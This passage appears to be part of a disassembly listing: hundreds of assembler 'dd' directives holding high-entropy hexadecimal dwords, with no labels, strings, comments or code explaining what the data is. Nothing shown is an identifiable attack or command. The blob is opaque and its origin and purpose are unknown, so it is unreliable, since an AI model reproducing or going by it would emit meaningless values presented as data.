8275B72Fh dd 0D448070Fh, 76F40474h, 0B2A8DCABh, 94DF01B8h, 0FF8B0FA6h dd 7B4DCCh, 0D8C91684h, 0A9AA28CDh, 2C781E72h, 1C924E18h dd 424DA89h, 3F07E4Ah, 8FCD40E5h, 68A456Bh, 902DE89Fh dd 1D009914h, 65B96CA6h, 463E7h, 936EC48h, 55E933Ah, 889E7202h dd 808245F9h, 8C182D74h, 1F0CC7Ch, 0CD09F3B8h, 9090320Eh dd 8B08F4h, 0F68E4D28h, 9B3FAF97h, 45034401h, 8F1B5CF4h dd 0E3CF7F0h, 71A2E69Eh, 311E83DCh, 69001307h, 0FCF1CBD0h dd 0F57530h, 0D24C549Ah, 7F7DEEBEh, 0C0C3D0EDh, 520FFB00h dd 24627265h, 1487D85h, 81517843h, 84453BD1h, 716F2B20h dd 0F75EAC81h, 92FF2E0h, 0ACCFC82h, 222B8068h, 10590C07h dd 0D1BEE38Fh, 0CE9D1E00h, 0DBD0373Ch, 0EF958102h, 40E9BE7Ch dd 0C2BE9h, 4392CD78h, 52047AD7h, 44C409EAh, 0A4B2710Ah dd 0D5FCC700h, 0C844FB41h, 9A7440FDh, 5D1ECE98h, 0D9C039EFh dd 0A04ABF93h, 0A67902ECh, 2D829404h, 0C22EC0B1h, 6DC67040h dd 2094F0A1h, 0F10F4BC8h, 58AFA4Ah, 0B8884393h, 40AF0050h dd 0C58821BEh, 0A5E699FBh, 50D25E26h, 6D74DA00h, 886007DEh dd 300EF7Ah, 0A92DE1EAh, 0F6F1DA7h, 5BE996A4h, 4E762BA0h dd 0F4509450h, 8A2CF0DCh, 0B86030AAh, 7D3389h, 0B5374B72h dd 2D1E76DCh, 1D7C5A09h, 2F28643Ah, 96F05E7Fh, 9186C500h dd 0ADD1E2B1h, 0A0443BD7h, 47EE1700h, 89D55C37h, 9F91B73Ah dd 81BBDF27h, 233DFD7Bh, 608ABBA2h, 1D600A35h, 1730C7E6h dd 7C8490D3h, 41075977h, 0ACCFA189h, 40200F91h, 9692BC24h dd 0B80B8704h, 9FB12061h, 0A100E269h, 6D7E48C3h, 4D71158h dd 286E817h, 4184D884h, 2F09252h, 97822476h, 158C83C5h dd 66F4C20Fh, 0C36F1298h, 90544269h, 0D86309B4h, 7B4C80FCh dd 0FC6EE95Ch, 0E7836028h, 0A44AF37h, 9EE47D2Ch, 8BA880FCh dd 8F9B8948h, 44258706h, 4850A03Dh, 9550124Dh, 802099F4h dd 25BC6B2Fh, 0DE0F0B3Fh, 4363CC04h, 0CB78CAC6h, 97805B0h dd 0C241D7EAh, 0C45B51h, 0E3B52E01h, 0A7098163h, 6004F420h dd 0FF708EEh, 304B626h, 56B1C5Eh, 4DDF0200h, 7500B19Bh dd 0A92436C0h, 0C0B9D501h, 0CD82FB29h, 49002E79h, 52B5A64Bh dd 8D79C3Fh, 26EB76Ch, 5A1A8A01h, 0D0F4AF5Fh, 4B43001Eh dd 7808DC3Ah, 0D9003996h, 84713619h, 38B05E80h, 0C5007765h dd 0B2138BF2h, 71DC10D5h, 759B59C2h, 3A422Bh, 6C579BDh dd 1B2E03B9h, 56F8C6F3h, 0B503B800h, 0C7420A68h, 0A5FD0C67h dd 0FC9116B7h, 1F00F8EAh, 4F6A6647h, 802E8Ah, 6022A0BCh dd 0F3FEA65Fh, 0FBF4C501h, 7D972C61h, 0B91A6883h, 613E4BB1h dd 619B006Eh, 40882FD8h, 187D7C37h, 691BB778h, 10F23BAh dd 608CF306h, 0F2CC75DBh, 3531004Bh, 0F1BC6FF8h, 0D452629Ah dd 283ABCh, 0F2F4904Eh, 0AB5248h, 5B400530h, 0FDBD0274h dd 35D0361Ah, 0DDB74361h, 0D6A0D458h, 11196070h, 0FB727886h dd 0D4FC4D0Ch, 0CF6104h, 0C4B6E641h, 0E40EDF79h, 0D4A8B70Ch dd 7B5F210Ch, 940A0063h, 0B95C85FAh, 6800C217h, 0ABAC526Dh dd 297FBC5Bh, 9EB41303h, 95A1C097h, 0B6AFAA42h, 5609BE8h dd 0DFFF6051h, 0D24F03DCh, 346BE2FDh, 1246A103h, 0D8D829C1h dd 3C68AB2Bh, 0B387FB4Ah, 73CBF342h, 0E9019741h, 50C9821Ch dd 0DB911Bh, 0DB802A41h, 0C638AA6Dh, 0B090AB3Ah, 2ECC3118h dd 4F28013Dh, 27F4F810h, 0CD30C47Bh, 0AA4A5914h, 179F80A0h dd 1DEE2C9h, 66EE208Ah, 0BD4D85B9h, 7C3782D9h, 90814175h dd 0F495B90h dd 79FF1D1Fh, 639969A1h, 514CFBB7h, 91BD06EDh, 4C83EA4h dd 0B760A1CBh, 5FD44032h, 7DFE9B8h, 0AF2C41C6h, 7874C0DAh dd 48005D98h, 8326D19Dh, 63F84D94h, 0EB628950h, 0F510F1F8h dd 9EA90D1Fh, 26D84400h, 0A8499AC2h, 4CCE2A68h, 250065BCh dd 6B58FF91h, 48C05F8Fh, 2127493Fh, 73320081h, 0AB8CE99h dd 0FE073B46h, 0A96D54B2h, 91615210h, 0F88418F0h, 3016815Ch dd 6AFE95B8h, 9700FC74h, 233CFF8Dh, 5AA835Dh, 0BB5EAC92h dd 46C020B8h, 3B00B21Bh, 32FB51CEh, 317F9Eh, 458D52B7h dd 135C72Ch, 22D84149h, 0C3CC0158h, 3C68A6F0h, 0D5020E3h dd 0B8BF0F0Ch, 171D5919h, 1C9454h, 1870163Ah, 0F4124F9Eh dd 8000E83Ah, 4E41F126h, 52607B71h, 4018CB7h, 0A32847AAh dd 4F51E4FFh, 87946A48h, 69F06242h, 28BC1A35h, 0C3668h dd 0C5643C7Dh, 0A4AEFD17h, 3E913B00h, 8D03457Eh, 53F0076h dd 0E4B88033h, 0EB24A1A9h, 2000E8BAh, 1C57CBC7h, 586848E5h dd 0EB6CBE80h, 0BA1275D5h, 0DC21821Bh, 0C7F91D83h, 2C80E022h dd 14F96BF0h, 5D52CC00h, 8C1B1F58h, 8921DE0Dh, 0C490D471h dd 0FB1EAC4Bh, 0AE49CB75h, 0E73D80F4h, 0DD8C3h, 0D4322FDFh dd 0F829784Fh, 9CB85754h, 48B58B54h, 0F2219A03h, 316B64h dd 0EC966A61h, 9C2A207Eh, 9242F2C1h, 64ECF43Dh, 88793F32h dd 41487303h, 89000B9Ch, 0F6BF8034h, 89FC49h, 7A2B0105h dd 94F4A5BCh, 7C8D1B28h, 6518F890h, 9311336Bh, 0DE5B0082h dd 0C2C181FEh, 5F00553Fh, 0ED6621C6h, 0C05DF838h, 0A17C01B9h dd 0F70079FCh, 0B33241D9h, 1472FFh, 66086FA9h, 0DE3682D6h dd 14001E49h, 0B08197h, 15E9882Bh, 0F7D2CDh, 0AB659C3Eh dd 43891B3Fh, 5CB24126h, 80E48C40h, 513B12FFh, 405C095Fh dd 358AF418h, 0FFA25000h, 0D53ED31Ch, 7A39C00Eh, 35A99AF8h dd 0F350E100h, 242C6045h, 603F78E6h, 0F01C419Ch, 9724EF9Ah dd 0EB60B4B2h, 0C1BB87h, 0ECF1D6F4h, 8FF93C48h, 0D1168071h dd 14003D5Dh, 8E250546h, 8749060Bh, 4142F8FEh, 0F6BECB0Bh dd 0C3D68009h, 7F73FBh, 9D95AC24h, 555E4BA6h, 707D1900h dd 7475AACBh, 0B0FD7C9Ah, 0CD34070h, 8B1F4790h, 0D801F998h dd 43F8E32Ah, 0E5B86180h, 0FE0C6F9Eh, 0B48F5D00h, 602E902Ch dd 928E05C7h, 96E3579Ah, 6258E094h, 0AA34C02Ch, 0F0E03CF9h dd 3BF8008Bh, 51F7A19Dh, 4F980F80h, 9630C102h, 804D52D1h dd 1AD871B8h, 0DE10183h, 324CA129h, 510CDBD5h, 14B2044Ah dd 0EE1A5812h, 9D2C7800h, 0BD5159C0h, 0E499B671h, 827B14h dd 19C72B24h, 4CCB4193h, 661EE09Dh, 3B9FFC50h, 20AA1347h dd 0DC8F3A34h, 4CC28600h, 8E10CDE7h, 9C0C0B1Ah, 40101E68h dd 93E0158Dh, 0F892FB07h, 8008D636h, 6BA75C52h, 2A7EF064h dd 0ED00FB7Ah, 0FF2FF2DFh, 31B91B44h, 41A14583h, 0F094489Eh dd 981E88A0h, 3200ECA6h, 0A3257E2Fh, 982B5D6h, 3E938390h dd 0F89F3002h, 620148E4h, 4E26DC70h, 3C32901Bh, 0D30AA448h dd 11A09465h, 0A438F5h, 52E6301Ah, 7727F45h, 9AFB1E8Fh dd 3F19E16Eh, 0EE8C21E9h, 75412480h, 68901E78h, 0F46BC638h dd 655CDA1Fh, 9C209F52h, 30313595h, 2D78BF22h, 4013A07Dh dd 5C20831Bh, 1552BD9Ah, 0F414865Ah, 922CDF00h, 8089D33Eh dd 4ED9E206h, 3B87251h, 0C4096D94h, 4107186Bh, 0AA8DFC47h dd 6CB6CDB0h, 3EDC93F7h, 0D9DEEB84h, 4774CC60h, 14755113h dd 0FD34F207h, 40B39D32h, 0B8072A3Fh, 0D51044A8h, 0BC1DC4B9h dd 9F34B080h, 48D4Bh, 21FB0BF3h, 9D820843h, 98516E3Bh dd 3CE8451Dh, 25C4A72h, 3A268314h, 685C4077h, 0F44112F0h dd 4AA8880Fh, 0FCBB7600h, 97B9D13Bh, 84C250E5h, 6CAA3159h dd 705BA689h, 1901C87Ah, 0BE657CDFh, 0E5E40405h, 97AD5CCDh dd 74038842h, 69F52933h, 0CE51BC98h, 0CA973809h, 7E740072h dd 0C017B74Ah, 74948459h, 0F62F6656h, 0CCD50BAh, 0CB97325Ah dd 2212DDC8h, 74003FADh, 75DA2B3Dh, 90AA5272h, 0FCBF5900h dd 0F192C4E3h, 90656A01h, 0D8EFE8ECh, 9A1CFC0h, 0A6FBB973h dd 49D09418h, 393B6705h, 9087893Eh, 239898A9h, 90370015h dd 96FB65DFh, 411863CAh, 0F0210FB5h, 3D380055h, 23FFE8Dh dd 43EC9689h, 9C66491Ch, 36B2794Fh, 0BC1F8C08h, 0C6B8780h dd 98E50580h, 9D84FC0Eh, 14AA0099h, 6079364Eh, 52EF8826h dd 9401DA88h, 4BC983BCh, 0C062371Bh, 86248001h, 30F03074h dd 54449928h, 0BBB43341h, 0D0F56AA1h, 91BE4AB0h, 9BB049E4h dd 62930D00h, 33049A21h, 16241D19h, 1B5B8096h, 0FB526959h dd 51514160h, 734E00Ch, 0B8AF7423h, 812980B1h, 84CCBE1h dd 268214A8h, 8BF500D0h, 0C43187E9h, 2A426BDh, 0A61400B4h dd 1BBB4801h, 3A848E56h, 0C3368F77h, 46B01AC2h, 83A53EC8h dd 19255780h, 70E48827h, 0BA153416h, 0FA2FCC04h, 241D68C2h dd 0FDCA265h, 0A7FC7589h, 1F81D752h, 5CE87CA6h, 0AB384CF2h dd 0BCF0F41Fh, 9CD9B580h, 1A754BD1h, 9F67D813h, 2338C05h dd 72AAB892h, 0B8130010h, 5BFEC205h, 0AF007FC4h, 70CDA73Ch dd 7E6D4Ah, 0DF6321C7h, 8BC96EDBh, 20F85361h, 9040FDBDh dd 3D610Eh, 4388D9CEh, 69A156A0h, 5D5C7A00h, 9BCD3190h dd 0B85A54F8h, 0FE5601E0h, 5B9DA3BFh, 9F6303Dh, 0A428C9E8h dd 5D008970h, 4B741ECDh, 45B83D3h, 8E2A46C7h, 1C1C82AAh dd 0B4181442h, 0C9003A71h, 2DC3FB28h, 0F34192h, 9C099ACFh dd 0EA500E7Bh, 0E21290B9h, 0B9064000h, 5BDB146h, 90D80F1h dd 158C2DDh, 0FB835220h, 0BB715CCDh, 3E9CBB28h, 78E81Dh dd 833BC4C9h, 0FD084D13h, 7E703765h, 0AEC3DC0Ch, 1ACB01B8h dd 924D17A4h, 77146026h, 36DFE800h, 0B7B8180Ah, 4E1D065Ah dd 4007D993h, 0B307948h, 8046A30Ch, 192BF004h, 63C727C1h dd 87DA9C10h, 0D8488BF0h, 742100E7h, 0CB3FE818h, 58A4003Ah dd 48F9894Ch, 3618FF45h, 0D5396DC2h, 6080AAB7h, 51506CFh dd 962E9D78h, 0AC709C8h, 570E3C44h, 604FA691h, 0A1991436h dd 6894009Bh, 7F9C79DFh, 0F0167DFAh, 0F800738Bh, 96D38E60h dd 0DCC0C06Ch, 0BCC79A2Eh, 8ABCF14Ah, 30206825h, 2ACB07A8h dd 0FBBDE803h, 0F19DB73Ah, 96F4D231h, 46CB012h, 7EBCD0C7h dd 9CB217h, 6C5D3780h, 76EAB6h, 8240779h, 48F6A0A1h, 0CF6AE605h dd 9DC0C8ABh, 4C9FB62Ch, 0B99E144Ch, 0D77895C4h, 0D8539D4Ah dd 0AE006835h, 0DAA5E960h, 0EBAE12EEh, 4290013Eh, 0D44D0687h dd 8313BD3Bh, 84C8B0FDh, 40D40377h, 0DE26CDB9h, 8080F2E2h dd 41FDCA23h, 5820974Eh, 5CA1BF8Ch, 0CFC0E4D6h, 7469BAAAh dd 0CA4D2B00h, 18A60456h, 611B16D7h, 5DEC0745h, 41CB4344h dd 0C6F3B816h, 0E25EA830h, 72551F0Ch, 5A33C0D9h, 298A1DDAh dd 41F1A702h, 5A6B9161h, 0DBB007A4h, 400E3988h, 2D5AF719h dd 955CD500h, 2AF1CDE4h, 0F8B0029Dh, 357C9755h, 0C2C84CC3h dd 7096D038h, 46AA1740h, 984D00E1h, 600D9197h, 0D4065307h dd 1180418Dh, 0B7B92A29h, 191F0DCh, 0CCA77024h, 83376B75h dd 88DEBA91h, 0A946A866h, 6EE201D9h, 414EBB58h, 6A38419Bh dd 0FB31801Bh, 0B79FC088h, 0A0A4CABh, 9127943Fh, 0C60EBC98h dd 2BD2C0A0h, 9942A608h, 0EE8D8205h, 8A99C41h, 5724D080h dd 2A0BD24Eh, 40B49A53h, 0EECD1804h, 0B2B8A060h, 37AD3883h dd 20D73613h dd 1E13DA0Ch, 0FB7A500Fh, 381B6585h, 520588Ch, 9D89A096h dd 0F0B90053h, 324B34A1h, 8040D44Ch, 82E34266h, 0FC5117A2h dd 0BE500F7Ch, 3F07F821h, 1C22D5h, 35B1C64Dh, 385F93Ch dd 0B2931A89h, 0E80CEA24h, 0A8653D3Ah, 0B9830278h, 15809B66h dd 0A484FBC0h, 49C7D57Dh, 600CBE3h, 22F3C72h, 0C816D20Ah dd 2B63FB14h, 0DF079AE0h, 0DCEE2700h, 3632C566h, 87DC96D8h dd 0A075C796h, 2A25689Dh, 0B8B83728h, 36E8C306h, 0B4296FC1h dd 0B18E4048h, 6000D642h, 0BB59568Ah, 43A6879h, 0BC3EAC51h dd 0ACA29Ch, 4F102D90h, 1EC4E1F3h, 0CBA8856Eh, 98443FF1h dd 23D69501h, 49F8EEBEh, 8ECD398Eh, 0B1695327h, 503F617Eh dd 30BD14E0h, 0D4C74B26h, 879CE10Fh, 397D9EB6h, 60C39800h dd 5BF291h, 32DA291Dh, 8D4CA3B9h, 0ABD04D0Bh, 0D27400E3h dd 7F72203Bh, 0C62E2E79h, 589A0840h, 7C01B78Ah, 0B25A3700h dd 1679E359h, 0C72A137Ah, 80F385A4h, 162B6BC8h, 46B6BA0Bh dd 803809BDh, 0F6921C65h, 3B0A05DFh, 806ACCF0h, 831BC8A8h dd 7944D09Ch, 0C02889C2h, 5CDD8088h, 4305986Eh, 0C86B05CFh dd 48009A7Ch, 0FB3646B8h, 3F740CE7h, 6BBDCC4Eh, 2D62BC87h dd 0F8F7813Ah, 52C1852Eh, 6B8037E4h, 326CB2Ah, 613B95C0h dd 81E946ECh, 0EF5DF4E2h, 3C04842Eh, 0DE67E060h, 0F74E0421h dd 0B8E8E453h, 4922C81h, 5F73C501h, 0DC50B8D5h, 21D3C3h dd 0D42D8822h, 0DBC7AB84h, 0C6739001h, 8363B2E4h, 0C4307621h dd 85D4A005h, 0B24C844Ch, 486082DCh, 58513Fh, 7EC8630Dh dd 0C64C7541h, 38013BD4h, 0C090CCCBh, 0B2C9E93Eh, 32CC037Eh dd 8C1B9D15h, 0EB02C986h, 36989738h, 25079CBh, 0D49C729Ah dd 5000D05Ah, 26B49165h, 0E862E559h, 0A57500E4h, 32ABFF38h dd 91754ADDh, 1489AF8h, 41F20638h, 28410A98h, 468B6B9h dd 44B4DB74h, 996C8CF6h, 83AD93Fh, 812FF82Eh, 7A6AEE3Dh dd 0BBC0E8F6h, 9C3A3E00h, 2EE1402Dh, 5AC2CD0h, 627A608Ch dd 710068D2h, 3AEC8608h, 54FD50h, 2E8F51C2h, 924F9746h dd 5178C9Ah, 820B6C4h, 0DB343Bh, 3649F01Eh, 99D1BCA9h dd 0D8C2BE0Fh, 80224BF9h, 8A55B78Ch, 41CF034Ah, 0C76C5E82h dd 6B2E19A8h, 8880B924h, 0E004EC4Ah, 5E49D036h, 0E444980Bh dd 239BBCA1h, 0CB630040h, 0BAEF8420h, 0A6EE0004h, 181F6A51h dd 99284F4Eh, 0CE08A89Ch, 8EBFD4A7h, 0D37E2963h, 2CAB0009h dd 0AB561B2Ah, 16FF5100h, 586241C1h, 1A702ADBh, 0A65324F4h dd 0CF0039EEh, 4F3EF231h, 9CBC2988h, 0C4739340h, 0A56D006Fh dd 972B3F50h, 707463CBh, 0B7489B14h, 32A88098h, 0ED5CF9h dd 0FF65D927h, 0C41B374Ch, 82218A00h, 2580E0BAh, 129E463h dd 445EBC41h, 6C8A1B3Fh, 4F08234h, 0B5F96194h, 0C6D925C3h dd 16578C10h, 0DC03AEE4h, 0E87B7383h, 0FBB0B00Bh, 39DE002Dh dd 99E09DB8h, 9B4C63D0h, 0D4A07B10h, 92602C15h, 4D87C7B8h dd 0FB172A93h, 0EA3A002Ch, 0F59A8986h, 940084FCh, 36959D4Dh dd 1502DF0h, 736CC127h, 396B083Fh, 467E031Ch, 0E8F6968Bh dd 1F708D0Ch, 57B27D87h, 1254059Bh, 0F438E4B7h, 0CEE27600h dd 2C4C7CFFh, 6F7804EAh, 0B38F1BC2h, 90747688h, 19827512h dd 6A2C01Fh, 0B8A7A19Ch, 2700116Ah, 36B44DF8h, 2D8C960h dd 0D9409480h, 40C1370Fh, 107860DEh, 6982D00h, 367D96FEh dd 0C620A2C3h, 2FBD00D4h, 68E2A74Fh, 6148D198h, 0A3F6006Ch dd 6A9D9399h, 6FBF007Dh, 0F77B47ADh, 0AA4C7CFEh, 99F080F0h dd 0B09B249Ah, 0A7091230h, 3E1D32h, 0FCE31D89h, 0C82E5D12h dd 4B80D5h, 0ADFD61C1h, 24A95020h, 0DBB90EC1h, 79012A42h dd 824E9A74h, 36C4F2C8h, 428492C9h, 96FAC168h, 0B9168032h dd 0CA3C2C99h, 0CE9F960Bh, 0B8F88087h, 376952Dh, 5A8AAF32h dd 15A1BD9Ah, 1C3DB7h, 3AFFE4C4h, 3EB95A9h, 589E7BCAh dd 1DA8B175h, 0D3FC4703h, 0C740525Ch, 6290FB22h, 0D7B838h dd 0E9AAE465h, 1D8023F2h, 0DA51600h, 0FE835237h, 20935BF3h dd 0C927283Ch, 0AC20E85Bh, 1D4D95CFh, 13D757Ch, 45874854h dd 94BEC4CDh, 692DE60Ch, 48E158F0h, 0D9C0D010h, 3A79BE21h dd 4C961200h, 0C89323DFh, 688A27FAh, 0FD6EE8A0h, 3E00AF12h dd 0F7FB546Ah, 31B964CEh, 0C5496085h, 2034600Dh, 0D8901B2Eh dd 0BD326340h, 3F6030E3h, 6C915AC8h, 92BF017h, 2641DE07h dd 18186B95h, 16DC5B4Eh, 1DAD2C40h, 0FDAA42E4h, 28C0E24Bh dd 3A13D848h, 0FC25B4B6h, 18B20080h, 90B042h, 0D09481Eh dd 0A45C8879h, 0A0CD332Eh, 0FA1B7058h, 0E8950036h, 9E063FE5h dd 4701B139h, 1AC3108h, 0AC27944Bh, 0A56E751Eh, 0C055C09h dd 0F16C88C3h, 2480D200h, 48E7C1C2h, 0FBC52E97h, 352040C0h dd 0CF00014Dh, 0D071F0C0h, 0B015E217h, 61D501A8h, 2433252Ch dd 0A8402BA9h, 0CEC5753Ch, 42F8FCh, 6F81591Fh, 0E948C9ACh dd 7DE02BFAh, 11834111h, 219CB917h, 22D494C0h, 27180BCCh dd 5D005FF5h, 73EAA3Bh, 391BA613h, 4CF2E025h, 3B428500h dd 8399715Ah, 0F0BE4501h, 1FD836C6h, 0EE18C014h, 15B085DEh dd 7E3DDF02h, 80554EF0h, 5BBDB4FCh, 0EA90F808h, 336E8F3h dd 32216097h, 3CE0EC29h, 10604A3h, 0EF2EB686h, 9A0D4488h dd 83080C00h, 40AF576h, 0FB7A3C72h, 2C675CF6h, 36253722h dd 0C3346AC1h, 0CA22A4E4h, 0CD002059h, 8DA46A8Ah, 0BCC608E5h dd 0A0471A68h, 5F69DE40h, 0F55D09ACh, 8C01409Eh, 4104C218h dd 38C8CBF0h, 0AB268724h, 36D4C3AEh, 0DC9EB88Ch, 0DBF601DEh dd 0B5691425h, 4780476Fh, 0E4B74531h, 241D3854h, 25010DAFh dd 9E503D66h, 3058DC72h, 5A6EAC0h, 9B00F9E6h, 641896D5h dd 4EA2ACh, 27E53C88h, 360AE0A1h, 9C30D64Fh, 2CD21DF9h dd 4040FBE3h, 0BE759264h, 0EB3EBA00h, 66A08307h, 0ADBC002Ah dd 811FDACDh, 0A8086BC7h, 0A019851Bh, 0BD10E9F0h, 0CD0555F1h dd 0B6C09548h, 0D714F4h, 0E8DC4F77h, 0D19D200Fh, 8913F37Bh dd 0AC0AE212h, 82BC4C1Ch, 66E0BE8Ah, 60F8E22Ch, 9E71F4A0h dd 272B807Ch, 5756D8F2h, 0EFFD20FDh, 0E9108F0Ch, 4840D9C4h dd 0CB113C59h, 22284813h, 406C9430h, 0C638C374h, 68BA2B00h dd 0D1D594EDh, 16B828B4h, 3B9D011Ch, 0C29CB1FBh, 6FE07BE9h dd 28CC1C09h, 2912D936h, 0E42DD4h, 154668F7h, 1E81BFB8h dd 4740706Ch, 0C4765C0Bh, 0F5248CE3h, 73D6BA00h, 2FE44ACCh dd 0E2B60912h, 1C10FBF8h, 330CAD47h, 3A3CD6E5h, 5E000E7h dd 83AE9821h, 0A701B913h, 84DF79FDh, 0D7D0013Dh, 0CD161267h dd 0C310307Dh, 3200271Dh, 55ECEF6Eh, 836FD9h, 87649328h dd 2C3479CCh, 0D08DC34Bh, 66DFAC81h, 731E7FDDh, 0FD8D0420h dd 80BA31B9h, 6FD8350Bh, 0BD8AD100h, 1E300989h, 169C98DCh dd 1D527322h, 62788055h, 47D1969Ch, 720A4A1Eh, 0C7EEA587h dd 5E204F3h, 6BCD3CC0h, 0EA8880BBh, 6CBC9F41h, 0B234641h dd 0EC097873h, 160106D4h, 3D71F84Dh, 0EB0F1D40h, 882FAA00h dd 3415C45h, 0AF4905FCh, 0C11F34B7h, 5480444Fh, 6B6F1675h dd 4738BE08h, 14D5E020h, 0BD000C4Ch, 64DABFE4h, 2C7C88Dh dd 0C5849E9Ch, 0E0906A0Fh, 97015FF2h, 0FA0DEE29h, 9BD06941h dd 2C6300FDh, 7CD3A2CBh, 8501E349h, 4EA19D02h, 9820C8D0h dd 9C1F44DFh, 40E57A2Ch, 7B596000h, 1ED80BCh, 0C501D953h dd 4868BDB2h, 84077CE4h dd 0DA729803h, 0CFBC650h, 19DECBBh, 4EED5001h, 27A7430Eh dd 0E98809A8h, 4DBC8095h, 5CB9056Fh, 0BBB0549Fh, 5B24FF88h dd 6F601C22h, 1C1CBC4h, 4750174Eh, 0F4074F61h, 0F9007E87h dd 390BC859h, 240F9AB2h, 40B06B05h, 698B3B63h, 0A3595500h dd 6FC3B025h, 965D3B5Bh, 3E31548Eh, 3F018D42h, 0EE4745Ch dd 29880880h, 0E3410052h, 40BF0C2Ah, 0A40E7B9Dh, 6435379Ah dd 0D0B4D51Ah, 0B89009AFh, 2CC45694h, 9BBDF500h, 82C9D6F4h dd 20434B1Eh, 599E69E8h, 0F0FCC413h, 9D4A5CB0h, 0A4C83C13h dd 0D0288D6Ch, 1C44D410h, 9CB62EBCh, 0AB6E4154h, 1B32DC98h dd 71108903h, 99256139h, 4EF5B6BDh, 0B2E29A4h, 0B433EDD1h dd 0FEC8E9A8h, 0DF7E1F16h, 120B6200h, 9AC677h, 0B4A99D10h dd 71CEA71h, 9380C891h, 0D5652A7Dh, 383600E4h, 2F418197h dd 6625E324h, 0C84499h, 4D183522h, 57C67804h, 9C277500h dd 0B79D4F12h, 0B05A02A6h, 0EBFC3A5Eh, 86433C7Ch, 0DAF6C839h dd 0D1A20140h, 8D921AE2h, 16F8F7C1h, 0E8642F8Ah, 2530CC8h dd 199EB878h, 7C9CBCC0h, 0F3502D0Fh, 1A6202C2h, 26E47290h dd 0CCC6ECh, 9529DDE1h, 9CA16F35h, 5DE0DB5Bh, 9A9D99F4h dd 8A084358h, 0C0A4429Ch, 0C0401DCCh, 18BD4240h, 164FFA82h dd 0C3FE6024h, 0D6809BE0h, 8B00B5E5h, 125BE648h, 4C095F74h dd 52C0F8DDh, 0DF0D7890h, 6A3FE201h, 4CBBA4D7h, 9044203Eh dd 0B800E786h, 0AA247091h, 0DE7CE1h, 7E35E8CAh, 9D95047Dh dd 0CEA4111h, 99F88900h, 87790D4Eh, 64675824h, 87BC1C24h dd 6041F1B2h, 1F4649Bh, 5B1693C7h, 7B18EFCAh, 8BDDB0h dd 9BEBA8D6h, 0AF1480F1h, 0C7639E14h, 18E92D94h, 74DDB4h dd 80D71038h, 37F08F0Ah, 0B9258D7Fh, 7A6818B1h, 8D9E4FD9h dd 0C3A4307Ch, 0DE24109Dh, 7E5A00E4h, 0A956E575h, 450138F9h dd 0C07BEFDDh, 24C8482Ch, 0C1220215h, 4D80B6CAh, 0B2973083h dd 70DF5008h, 0DE338134h, 0CCFDE9C1h, 1605996Bh, 10184FF1h dd 81028CF2h, 7EEE6D7Bh, 4F0498D6h, 24B4FBCBh, 38D3009Eh dd 22DD1F16h, 25042C6Fh, 0ADA7C60Dh, 0A075E8BCh, 276AB890h dd 0FC68FB2Fh, 0AB1CE328h, 51031870h, 0E0214424h, 1320701h dd 588A1D83h, 80A8BBCEh, 53F6316h, 2E88F028h, 3D60FAD9h dd 810FC7C4h, 0CF604FCDh, 0B627E093h, 0E233C4EBh, 1B90CF49h dd 0F0049AC2h, 64414462h, 0CE7024F2h, 0F402264Eh, 56F7560Ah dd 0E75D0F44h, 0C00F2067h, 0AE95CB17h, 5CC684Ch, 6A0226C8h dd 6970F4h, 6D7DD8CFh, 15E53A14h, 7579B4A0h, 20D59A2Dh dd 4DAAB858h, 41470330h, 0A4613FDEh, 760980A6h, 106B5191h dd 1ABB9A4h, 0D8817894h, 20722938h, 2805D3A8h, 1795BA20h dd 2563C8A0h, 0C0201D7Eh, 0F87B428Ah, 4E5AB771h, 7D10C20h dd 48251638h, 401C30EFh, 0C0096146h, 648DB6B5h, 809498E4h dd 74C9B44h, 0A7AB81FCh, 78E4C996h, 8277877Fh, 0F9ED1E00h dd 0F3FC812Ah, 5F5C3AEBh, 22D7A382h, 4D8AEAFh, 90B48525h dd 7635904Ch, 0F6910BE2h, 6A8F6BABh, 80FC7A60h, 32009609h dd 9C24FD55h, 48A79775h, 0D7805468h, 0DE663CA3h, 314D007h dd 0C7927DBDh, 72888ECDh, 70D7E005h, 4D34CC20h, 0D4260252h dd 79FA6EF9h, 0E5835DE0h, 71FB5F17h, 3E990820h, 1034EFC3h dd 0DCBE24E3h, 0AD800214h, 0ACD1D08Fh, 8B49003Ah, 0EC48F655h dd 0F1F40094h, 78D96FFEh, 8601C444h, 67267FB9h, 9E11B8D4h dd 0BC36F8AFh, 0CD56C516h, 3F23E9B0h, 0A8016D2Bh, 0D3D2755Ah dd 85CC2099h, 1C6B22h, 669004C3h, 0CA97A7FAh, 78F45090h dd 109D1C98h, 297114h, 2E552F56h, 0C9B0AC13h, 707E4400h dd 0ADE8DCC2h, 0BB773FF7h, 992F3AF5h, 8C3F0900h, 7E45603Ah dd 0F88D7900h, 0A1786FD7h, 5DD500F6h, 0ED3AF288h, 0AD00F577h dd 84F3074h, 6F3D53A9h, 0AB8050BCh, 6D1FC60Fh, 75584C1Eh dd 4B0C6F93h, 788E21AEh, 5D220081h, 9C32DE8Dh, 0BB3F256Eh dd 0F1D01838h, 78CEE899h, 0AA983CEEh, 59805880h, 287E2EFFh dd 35CF38C0h, 81A5AAEh, 0F5750F74h, 877AE600h, 50A24B26h dd 2FDD31Bh, 6105AF84h, 0B240A3CEh, 451EBF43h, 0CCC17D74h dd 36DC06BBh, 30A9B9D3h, 0E164CF0h, 0A1A534E4h, 506D6B60h dd 801F2F42h, 714095B1h, 16C58AC2h, 5684A8EFh, 0CCCF0130h dd 51CD8792h, 0A8C4D4C2h, 4468BD60h, 7BEC5648h, 6DDE0609h dd 0B1760C43h, 3A8E48h, 19B78C34h, 0B1BDBBh, 2E89A1D4h dd 2BD8020Dh, 470F1E18h, 0AC2031h, 0AE710819h, 0F352F1A8h dd 3801FA00h, 51309F5Bh, 0B045507Eh, 0B8BA5471h, 589701E0h dd 0E5C28DECh, 0F2B051DBh, 121BC37h, 6154C0BDh, 69A47971h dd 0C183944h, 0CA7A1170h, 0F1334D00h, 0AA6506BAh, 8013524Fh dd 3DF0AE00h, 0D23C9132h, 0F0F3E228h, 0FE747839h, 125F3712h dd 80F91C08h, 38BA286Eh, 3D22C1AAh, 0DA7C9Eh, 8CD326C9h dd 3ED42A98h, 230BCB00h, 2EF56703h, 960A01E5h, 3CADEEF7h dd 6A398062h, 2BBE17CAh, 44E700F4h, 7A2ED573h, 4C149706h dd 1D8C403h, 31B264E5h, 398E613Dh, 1B2823Fh, 42D7FD9Ah dd 0E67B20C3h, 6F441800h, 92819D27h, 8B3301BCh, 0A14D9CE8h dd 0C5D2D09Eh, 0A483CF2Ah, 1C1E8C00h, 0B57FEED0h, 40FE0086h dd 415131AFh, 0A0A85A0Ch, 7C0082D2h, 5CB5D673h, 